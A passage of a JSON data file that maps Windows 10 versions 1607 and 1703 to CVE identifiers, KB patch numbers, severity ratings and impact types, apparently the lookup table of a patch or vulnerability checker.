Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of 